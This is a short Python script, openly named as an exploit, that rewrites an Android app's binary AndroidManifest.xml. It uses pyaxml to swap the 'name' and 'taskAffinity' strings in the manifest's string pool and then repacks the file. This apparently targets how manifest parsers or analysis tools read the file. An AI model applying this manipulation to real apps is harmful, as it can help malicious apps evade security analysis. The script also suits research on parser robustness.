#!/usr/bin/env python
import pyaxml
import click


@click.command()
@click.argument("input_dir")
def exploit_axmlfile(input_dir):
    path_manifest = input_dir + "/AndroidManifest.xml"
    axml_object = pyaxml.AXML.from_axml(open(path_manifest, "rb").read())
    st = pyaxml.StringBlocks(proto=axml_object.stringblocks.proto)
    st.switch("name", "taskAffinity")
    axml_object.stringblocks.proto = st.proto
    axml_object.compute()
    open(path_manifest, "wb").write(axml_object.pack())


if __name__ == "__main__":
    exploit_axmlfile()
